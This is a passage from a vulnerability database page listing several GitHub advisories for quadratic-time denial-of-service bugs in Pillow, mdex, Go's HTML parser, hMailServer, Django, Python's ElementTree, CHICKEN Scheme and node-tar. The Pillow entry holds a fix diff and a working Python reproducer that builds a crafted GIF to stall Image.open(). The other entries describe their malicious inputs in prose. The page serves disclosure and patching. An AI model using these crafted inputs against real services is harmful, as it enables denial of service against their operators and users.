comment_blocks is None:\n+ comment_blocks = []\n+ else:\n+ # If multiple comment blocks in frame, separate with \\n\n+ comment_blocks.append(b\"\\n\")\n \n # Read this comment block\n while block:\n- comment += block\n+ comment_blocks.append(block)\n block = self.data()\n-\n- if \"comment\" in info:\n- # If multiple comment blocks in frame, separate with \\n\n- info[\"comment\"] += b\"\\n\" + comment\n- else:\n- info[\"comment\"] = comment\n s = b\"\"\n continue\n@@\n- if info.get(\"comment\"):\n- self.info[\"comment\"] = info[\"comment\"]\n+ if comment_blocks:\n+ comment = b\"\".join(comment_blocks)\n+ if comment:\n+ self.info[\"comment\"] = comment\n for k in [\"duration\", \"extension\"]:\n```\n\nThis removes the quadratic copying at both sites (`:261` per sub-block and `:266` per extension); the 4 MB reproducer file opens in about 0.3 s, the same as its control, and the reproducer no longer prints `BUG` on a patched build. The resulting `info[\"comment\"]` is unchanged for empty, multi-sub-block, multi-extension and later-frame comments \u2014 including `Tests/images/multiple_comments.gif` \u2192 `b\"Test comment 1\\nTest comment 2\"` \u2014 and `Tests/test_file_gif.py` passes unchanged. The GIF writer (`_write_local_header` / `_save`) is not affected.\n\nThe patch deliberately adds no size cap. Unlike PNG `zTXt`, which `PngImagePlugin.MAX_TEXT_CHUNK` guards against decompression amplification, a GIF comment can be no larger than the file that carries it, so once the copy is linear there is nothing left to bound, and a hard cap would reject valid files with large comments. If a limit is wanted anyway, a `MAX_COMMENT_SIZE` check inside the sub-block loop is a small policy addition on top of this patch.\n\n## The patch\n\nGIF: collect comment extension sub-blocks in a list and join once per frame instead of repeated bytes += in GifImageFile._seek()\n\nApplies to `src/PIL/GifImagePlugin.py` at the commit above.\n\n```diff\ndiff --git a/src/PIL/GifImagePlugin.py b/src/PIL/GifImagePlugin.py\nindex 11fb180fc..05007d2ac 100644\n--- a/src/PIL/GifImagePlugin.py\n+++ b/src/PIL/GifImagePlugin.py\n@@ -217,6 +217,7 @@ class GifImageFile(ImageFile.ImageFile):\n palette: ImagePalette.ImagePalette | Literal[False] | None = None\n \n info: dict[str, Any] = {}\n+ comment_blocks: list[bytes] | None = None\n frame_transparency = None\n interlace = None\n frame_dispose_extent = None\n@@ -254,18 +255,16 @@ class GifImageFile(ImageFile.ImageFile):\n #\n # comment extension\n #\n- comment = b\"\"\n+ if comment_blocks is None:\n+ comment_blocks = []\n+ else:\n+ # If multiple comment blocks in frame, separate with \\n\n+ comment_blocks.append(b\"\\n\")\n \n # Read this comment block\n while block:\n- comment += block\n+ comment_blocks.append(block)\n block = self.data()\n-\n- if \"comment\" in info:\n- # If multiple comment blocks in frame, separate with \\n\n- info[\"comment\"] += b\"\\n\" + comment\n- else:\n- info[\"comment\"] = comment\n s = b\"\"\n continue\n elif s[0] == 255 and frame == 0 and block is not None:\n@@ -433,8 +432,10 @@ class GifImageFile(ImageFile.ImageFile):\n )\n ]\n \n- if info.get(\"comment\"):\n- self.info[\"comment\"] = info[\"comment\"]\n+ if comment_blocks:\n+ comment = b\"\".join(comment_blocks)\n+ if comment:\n+ self.info[\"comment\"] = comment\n for k in [\"duration\", \"extension\"]:\n if k in info:\n self.info[k] = info[k]\n```\n\n## The reproducer\n\n\u003cdetails\u003e\n\u003csummary\u003eReproducer \u2014 \u003ccode\u003erepro\u003c/code\u003e, 2,263 bytes (click to open)\u003c/summary\u003e\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n\"\"\"Quadratic CPU in Image.open() on GIF comment extensions.\n\nGifImageFile._seek() appends every comment extension to info[\"comment\"] with\nbytes `+=` (src/PIL/GifImagePlugin.py:266), copying the whole accumulated\ncomment each time. Image.open() runs _seek(0) eagerly, so merely opening a GIF\nmade of many tiny comment extensions costs O(size^2) CPU.\n\nWe time Image.open() on two files of identical length:\n ATTACK - a 1x1 GIF whose body is thousands of 1-byte comment extensions (label 0xFE)\n CONTROL - the same bytes with label 0x01 (plain-text extension), which _seek()\n reads through the same loop but discards instead of concatenating.\nA linear parser would take ~2x longer when the file doubles, and the two files\nwould cost about the same.\n\"\"\"\nimport io\nimport time\n\nfrom PIL import Image\n\nHEADER = b\"GIF89a\" + b\"\\x01\\x00\\x01\\x00\" + b\"\\x00\\x00\\x00\" # 1x1 screen, no palette\nIMAGE = b\",\\x00\\x00\\x00\\x00\\x01\\x00\\x01\\x00\\x00\" + b\"\\x02\\x02\\x44\\x01\\x00\" # 1x1 frame\nTRAILER = b\";\"\n\n\ndef make_gif(size: int, label: int) -\u003e bytes:\n # each extension is `21 \u003clabel\u003e 01 \u0027A\u0027 00`: one 1-byte sub-block, then terminator\n extension = b\"!\" + bytes([label]) + b\"\\x01A\\x00\"\n return HEADER + extension * (size // 5) + IMAGE + TRAILER\n\n\ndef time_open(data: bytes) -\u003e float:\n start = time.perf_counter()\n with Image.open(io.BytesIO(data)) as im: # no load(): the cost is in open()\n elapsed = time.perf_counter() - start\n assert im.size == (1, 1)\n return elapsed\n\n\nMB = 1 \u003c\u003c 20\nattack, control = {}, {}\nfor size in (2 * MB, 4 * MB):\n control[size] = time_open(make_gif(size, 0x01))\n attack[size] = time_open(make_gif(size, 0xFE))\n print(f\"{size // MB} MB GIF control (0x01): {control[size]:6.2f} s \"\n f\"comments (0xFE): {attack[size]:6.2f} s\", flush=True)\n\ngrowth = attack[4 * MB] / attack[2 * MB]\nvs_control = attack[4 * MB] / control[4 * MB]\nprint(f\"doubling 2 MB -\u003e 4 MB multiplied open() time by x{growth:.1f} (linear: ~x2)\")\nprint(f\"4 MB comment GIF took x{vs_control:.0f} as long as the same-size control\")\n\n# BUG: super-linear growth, far slower than the control, and seconds of CPU per open()\nprint(\"BUG\" if growth \u003e= 3 and vs_control \u003e= 20 and attack[4 * MB] \u003e= 8 else \"OK\")\n```\n\u003c/details\u003e\n\n---",
"id": "GHSA-74r2-7ff9-mjj2",
"modified": "2026-10-21T20:42:11Z",
"published": "2026-10-21T20:42:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-74r2-7ff9-mjj2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112401"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/commit/68a3fe957d8a4d552e8c69d96066d749f0614c7e"
},
{
"type": "PACKAGE",
"url": "https://github.com/python-pillow/Pillow"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Pillow: Quadratic GIF comment concatenation allows DoS in Image.open()"
}
GHSA-755X-FX63-G6RX
Vulnerability from github – Published: 2026-11-30 21:31 – Updated: 2026-11-30 21:31Inefficient Algorithmic Complexity vulnerability in leandrocp mdex allows an attacker who supplies Markdown to exhaust CPU via a long run of block quote markers when auto-close is enabled.
When Markdown is rendered with auto_close: true or through MDEx.stream/2, MDEx.FragmentParser checks whether the last paragraph ends in an incomplete link reference definition. If that paragraph contains >, each line's leading quote prefix is expanded by expand_quote_prefix/2 in lib/mdex/fragment_parser.ex. That function is body-recursive and prepends each character to the prefix built so far, copying it again for every leading space, tab or >, so a line of N such bytes costs O(N²). The prefix length is not bounded. A single line of a few hundred kilobytes of > ties up a scheduler for seconds, while the same input renders in milliseconds with auto-close off.
This issue affects mdex: from 0.14.2 before 0.15.0.
{
"affected": [],
"aliases": [
"CVE-2026-137162"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-11-30T19:17:55Z",
"severity": "LOW"
},
"details": "Inefficient Algorithmic Complexity vulnerability in leandrocp mdex allows an attacker who supplies Markdown to exhaust CPU via a long run of block quote markers when auto-close is enabled.\n\nWhen Markdown is rendered with auto_close: true or through MDEx.stream/2, MDEx.FragmentParser checks whether the last paragraph ends in an incomplete link reference definition. If that paragraph contains \u003e, each line\u0027s leading quote prefix is expanded by expand_quote_prefix/2 in lib/mdex/fragment_parser.ex. That function is body-recursive and prepends each character to the prefix built so far, copying it again for every leading space, tab or \u003e, so a line of N such bytes costs O(N\u00b2). The prefix length is not bounded. A single line of a few hundred kilobytes of \u003e ties up a scheduler for seconds, while the same input renders in milliseconds with auto-close off.\n\nThis issue affects mdex: from 0.14.2 before 0.15.0.",
"id": "GHSA-755x-fx63-g6rx",
"modified": "2026-11-30T21:31:57Z",
"published": "2026-11-30T21:31:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-137162"
},
{
"type": "WEB",
"url": "https://github.com/leandrocp/mdex/commit/2c29b28cd0473c24347aa00b95d16f9ce5f9d9af"
},
{
"type": "WEB",
"url": "https://github.com/leandrocp/mdex/commit/9a4b76802bfcd12ba34337bf3cf7d62621d0fe92"
},
{
"type": "WEB",
"url": "https://cna.erlef.org/cves/CVE-2026-137162.html"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-137162"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-75PG-WVH3-34JR
Vulnerability from github – Published: 2026-10-28 00:30 – Updated: 2026-11-04 18:30When coalescing adjacent text nodes in addText and fosterParent, appending to an existing TextNode's Data via string concatenation (n.Data += text) reallocated and copied the accumulated string on every token. Inputs containing many short text runs separated by ignored end tags (such as "a") caused O(n^2) allocations and byte copies. Accumulate coalesced text in per-node byte slices during parsing and materialize Data strings once at the end of parse.
{
"affected": [],
"aliases": [
"CVE-2026-78661"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-27T22:18:05Z",
"severity": "HIGH"
},
"details": "When coalescing adjacent text nodes in addText and fosterParent, appending to an existing TextNode\u0027s Data via string concatenation (n.Data += text) reallocated and copied the accumulated string on every token. Inputs containing many short text runs separated by ignored end tags (such as \"a\u003c/x\u003e\") caused O(n^2) allocations and byte copies. Accumulate coalesced text in per-node byte slices during parsing and materialize Data strings once at the end of parse.",
"id": "GHSA-75pg-wvh3-34jr",
"modified": "2026-11-04T18:30:48Z",
"published": "2026-10-28T00:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78661"
},
{
"type": "WEB",
"url": "https://go.dev/cl/849365"
},
{
"type": "WEB",
"url": "https://go.dev/issue/82224"
},
{
"type": "WEB",
"url": "https://groups.google.com/g/golang-announce/c/sqrs2vTx_Xs"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2026-6860"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7658-76C6-34X2
Vulnerability from github – Published: 2026-10-08 12:34 – Updated: 2026-10-08 12:34Inefficient algorithmic complexity in the bounce and complaint processing of Progressive Robot hMailServer 6.3.4 and 6.3.5 allows a remote unauthenticated attacker to stop mail delivery by sending messages, when bounce processing or complaint processing is enabled or a mailing list is managed by the server (none is by default). The readers of incoming delivery status notifications (RFC 3464) and abuse feedback reports (RFC 5965) removed the blank lines at the start of the returned headers part two bytes at a time, copying the rest of the part each time, so their work grew with the square of the number of blank lines. A message shaped like such a report, whose headers part begins with a very large number of blank lines within the reader's 2 MB limit, keeps a delivery thread busy for over a minute while it is delivered, and a few such messages a minute keep every delivery thread busy.
{
"affected": [],
"aliases": [
"CVE-2026-107579"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-08T12:17:15Z",
"severity": "HIGH"
},
"details": "Inefficient algorithmic complexity in the bounce and complaint processing of Progressive Robot hMailServer 6.3.4 and 6.3.5 allows a remote unauthenticated attacker to stop mail delivery by sending messages, when bounce processing or complaint processing is enabled or a mailing list is managed by the server (none is by default). The readers of incoming delivery status notifications (RFC 3464) and abuse feedback reports (RFC 5965) removed the blank lines at the start of the returned headers part two bytes at a time, copying the rest of the part each time, so their work grew with the square of the number of blank lines. A message shaped like such a report, whose headers part begins with a very large number of blank lines within the reader\u0027s 2 MB limit, keeps a delivery thread busy for over a minute while it is delivered, and a few such messages a minute keep every delivery thread busy.",
"id": "GHSA-7658-76c6-34x2",
"modified": "2026-10-08T12:34:27Z",
"published": "2026-10-08T12:34:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-107579"
},
{
"type": "WEB",
"url": "https://gitlab.com/hmailserver/hmailserver/-/releases/v6.3.6"
},
{
"type": "WEB",
"url": "https://gitlab.com/hmailserver/hmailserver/-/work_items/70"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-76G2-X83X-73R7
Vulnerability from github – Published: 2026-10-06 15:32 – Updated: 2026-10-06 15:32An issue was discovered in Django 6.1 before 6.1.2, 6.0 before 6.0.9, and 5.2 before 5.2.18.
django.utils.http.parse_header_parameters() was subject to a potential denial-of-service attack due to quadratic time complexity when parsing a value with many separators inside a quoted parameter. An unauthenticated request could reach this parsing through headers such as Accept or Content-Type, for instance via the content negotiation performed by HttpRequest.accepts(). The per-call length limit does not bound the combined size of repeated headers.
Earlier, unsupported Django series (such as 5.1.x, 5.0.x, and 4.2.x) were not evaluated and may also be affected.
Django would like to thank Jisung Chae for reporting this issue.
{
"affected": [],
"aliases": [
"CVE-2026-84429"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-06T14:17:46Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in Django 6.1 before 6.1.2, 6.0 before 6.0.9, and 5.2 before 5.2.18.\n`django.utils.http.parse_header_parameters()` was subject to a potential denial-of-service attack due to quadratic time complexity when parsing a value with many separators inside a quoted parameter. An unauthenticated request could reach this parsing through headers such as `Accept` or `Content-Type`, for instance via the content negotiation performed by `HttpRequest.accepts()`. The per-call length limit does not bound the combined size of repeated headers.\nEarlier, unsupported Django series (such as 5.1.x, 5.0.x, and 4.2.x) were not evaluated and may also be affected.\nDjango would like to thank Jisung Chae for reporting this issue.",
"id": "GHSA-76g2-x83x-73r7",
"modified": "2026-10-06T15:32:00Z",
"published": "2026-10-06T15:32:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-84429"
},
{
"type": "WEB",
"url": "https://github.com/django/django/commit/3d8f121695c21234aff3071de0d38b6bd38c3f52"
},
{
"type": "WEB",
"url": "https://github.com/django/django/commit/6ecd66e09a383be004a78a3a738ea9727ff07b0e"
},
{
"type": "WEB",
"url": "https://github.com/django/django/commit/7ff7fcc0508864a4bc39693128ace38b1e95a890"
},
{
"type": "WEB",
"url": "https://github.com/django/django/commit/de56deeabd4c48dfb5193f0001469d80102fb367"
},
{
"type": "WEB",
"url": "https://docs.djangoproject.com/en/dev/releases/security"
},
{
"type": "WEB",
"url": "https://groups.google.com/g/django-announce"
},
{
"type": "WEB",
"url": "https://www.djangoproject.com/weblog/2026/oct/06/security-releases"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-77QW-3XM6-R2PP
Vulnerability from github – Published: 2026-07-28 15:32 – Updated: 2026-08-11 03:31Element.findall() and fully-consumed Element.iterfind() exhibit O(n^2) time complexity when using XPath index predicates (e.g. [1], [last()], [last()-N]) on XML documents with many same-tag siblings. Element.find() is only affected when the first match is near the end of the sibling list, such as with [last()] or [last()-N]; .//item[1] short-circuits after the first match.
{
"affected": [],
"aliases": [
"CVE-2026-6879"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-28T15:17:51Z",
"severity": "LOW"
},
"details": "`Element.findall()` and fully-consumed `Element.iterfind()` exhibit `O(n^2)` time complexity when using XPath index predicates (e.g. `[1]`, `[last()]`, `[last()-N]`) on XML documents with many same-tag siblings. `Element.find()` is only affected when the first match is near the end\u00a0 of the sibling list, such as with `[last()]` or `[last()-N]`;\u00a0 `.//item[1]` short-circuits after the first match.",
"id": "GHSA-77qw-3xm6-r2pp",
"modified": "2026-08-11T03:31:50Z",
"published": "2026-07-28T15:32:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6879"
},
{
"type": "WEB",
"url": "https://github.com/python/cpython/issues/152674"
},
{
"type": "WEB",
"url": "https://github.com/python/cpython/pull/152676"
},
{
"type": "WEB",
"url": "https://github.com/python/cpython/commit/02c08e6b747ac43d0d866a4ffa916bedf3423f81"
},
{
"type": "WEB",
"url": "https://github.com/python/cpython/commit/037965c00a427cba5c05447efadc67c51a492e85"
},
{
"type": "WEB",
"url": "https://github.com/python/cpython/commit/0583f24ae678993e3f7939f51ad5bcae5ad9dc70"
},
{
"type": "WEB",
"url": "https://github.com/python/cpython/commit/2ffab083782968a4d732738f4f1dff6bbd69d2b0"
},
{
"type": "WEB",
"url": "https://github.com/python/cpython/commit/390337b8ba1658833fdef379e1739c9f9533a8db"
},
{
"type": "WEB",
"url": "https://github.com/python/cpython/commit/96510a3758f4a075f43223afdee3b6ee1a7a7f02"
},
{
"type": "WEB",
"url": "https://github.com/python/cpython/commit/cb409342a19f25656f62e679f8bac265fe1442c3"
},
{
"type": "WEB",
"url": "https://mail.python.org/archives/list/security-announce@python.org/thread/7YMZ6DDZVR26TJJBVO3RDNBAVGHNYAKR"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:H/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-7945-X94J-3J4W
Vulnerability from github – Published: 2022-05-17 02:25 – Updated: 2022-05-17 02:25Due to an incomplete fix for CVE-2012-6125, all versions of CHICKEN Scheme up to and including 4.12.0 are vulnerable to an algorithmic complexity attack. An attacker can provide crafted input which, when inserted into the symbol table, will result in O(n) lookup time.
{
"affected": [],
"aliases": [
"CVE-2017-11343"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-07-17T13:18:00Z",
"severity": "HIGH"
},
"details": "Due to an incomplete fix for CVE-2012-6125, all versions of CHICKEN Scheme up to and including 4.12.0 are vulnerable to an algorithmic complexity attack. An attacker can provide crafted input which, when inserted into the symbol table, will result in O(n) lookup time.",
"id": "GHSA-7945-x94j-3j4w",
"modified": "2022-05-17T02:25:41Z",
"published": "2022-05-17T02:25:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-11343"
},
{
"type": "WEB",
"url": "http://lists.gnu.org/archive/html/chicken-announce/2017-07/msg00000.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7C32-79XJ-J3JP
Vulnerability from github – Published: 2026-12-02 01:23 – Updated: 2026-12-02 01:23Summary
The GHSA-f5x3-32g6-xq36 fix bounded the depth (component count) of entry.path with maxDepth. The path-reservation code still computes every ancestor prefix of each reserved path, and its cost grows with the number of components multiplied by the path length. That bound doesn't apply to linkpath, nor to long components within the depth limit. Reservation state and some caches are also never released for the life of an extraction.
Details
| # | Issue | Location | Default options |
|---|---|---|---|
| VULN-002 | linkpath has no depth or length bound and is reserved for every entry type. getDirs cost is quadratic in its length, so an archive of a few hundred bytes compressed aborts the Node process |
src/path-reservations.ts:25-38, via src/unpack.ts:729-734 |
Yes (async x/Unpack) |
| VULN-023 | Within maxDepth, very long components make the same getDirs computation exhaust memory (the depth fix bounds count, not length) |
src/path-reservations.ts:25-38, via src/unpack.ts:734 |
Yes (async) |
| VULN-009 | PathReservations.#reservations entries are never deleted, so ancestor strings for every entry are kept until the Unpack ends |
src/path-reservations.ts:64 |
Yes (async) |
| VULN-012 | The normalizeUnicode cache is capped by entry count (10k), not bytes, so long names make it large |
src/normalize-unicode.ts:5-35 |
Yes (async) |
| VULN-024 | filesFilter memoises every path prefix; memory grows with depth × length. The GHSA-r292 fix bounded recursion depth, not the memo |
src/list.ts:35-52 |
Needs a file list |
Not the same as open PR #470, which fixes a reservation deadlock when a linkpath is a parent of the entry path.
Proof of concept
exploit_tests/test_vuln_002_*, _023_, _009_, _012_ and _024_. Each test runs a control archive and an attack archive against the unmodified 7.5.22 build, with output recorded in exploit_tests/evidence/. All were run on macOS.
Impact
Any service that extracts untrusted archives with the default async API can be made to exhaust memory or CPU, and crash, by a very small upload (VULN-002, VULN-023). The others raise memory use in long-running or large extractions.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "tar"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.0.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-140240"
],
"database_specific": {
"cwe_ids": [
"CWE-401",
"CWE-407",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-12-02T01:23:10Z",
"nvd_published_at": "2026-12-01T18:17:27Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe GHSA-f5x3-32g6-xq36 fix bounded the depth (component count) of `entry.path` with `maxDepth`. The path-reservation code still computes every ancestor prefix of each reserved path, and its cost grows with the number of components multiplied by the path length. That bound doesn\u0027t apply to `linkpath`, nor to long components within the depth limit. Reservation state and some caches are also never released for the life of an extraction.\n\n\n### Details\n\n| # | Issue | Location | Default options |\n|---|---|---|---|\n| VULN-002 | `linkpath` has no depth or length bound and is reserved for every entry type. `getDirs` cost is quadratic in its length, so an archive of a few hundred bytes compressed aborts the Node process | `src/path-reservations.ts:25-38`, via `src/unpack.ts:729-734` | Yes (async `x`/`Unpack`) |\n| VULN-023 | Within `maxDepth`, very long components make the same `getDirs` computation exhaust memory (the depth fix bounds count, not length) | `src/path-reservations.ts:25-38`, via `src/unpack.ts:734` | Yes (async) |\n| VULN-009 | `PathReservations.#reservations` entries are never deleted, so ancestor strings for every entry are kept until the `Unpack` ends | `src/path-reservations.ts:64` | Yes (async) |\n| VULN-012 | The `normalizeUnicode` cache is capped by entry count (10k), not bytes, so long names make it large | `src/normalize-unicode.ts:5-35` | Yes (async) |\n| VULN-024 | `filesFilter` memoises every path prefix; memory grows with depth \u00d7 length. The GHSA-r292 fix bounded recursion depth, not the memo | `src/list.ts:35-52` | Needs a file list |\n\nNot the same as open PR #470, which fixes a reservation deadlock when a linkpath is a parent of the entry path.\n\n\n### Proof of concept\n\n`exploit_tests/test_vuln_002_*`, `_023_`, `_009_`, `_012_` and `_024_`. Each test runs a control archive and an attack archive against the unmodified 7.5.22 build, with output recorded in `exploit_tests/evidence/`. All were run on macOS.\n\n\n### Impact\n\nAny service that extracts untrusted archives with the default async API can be made to exhaust memory or CPU, and crash, by a very small upload (VULN-002, VULN-023). The others raise memory use in long-running or large extractions.",
"id": "GHSA-7c32-79xj-j3jp",
"modified": "2026-12-02T01:23:10Z",
"published": "2026-12-02T01:23:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-7c32-79xj-j3jp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-140240"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/commit/73b352e0010d6c99794ea7374800816a46d3bdb2"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/commit/de87900752566867b422de0ebfe6592b30fa9786"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/node-tar"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/releases/tag/v8.0.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "node-tar: A small archive exhausts memory or CPU through path-reservation bookkeeping"
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.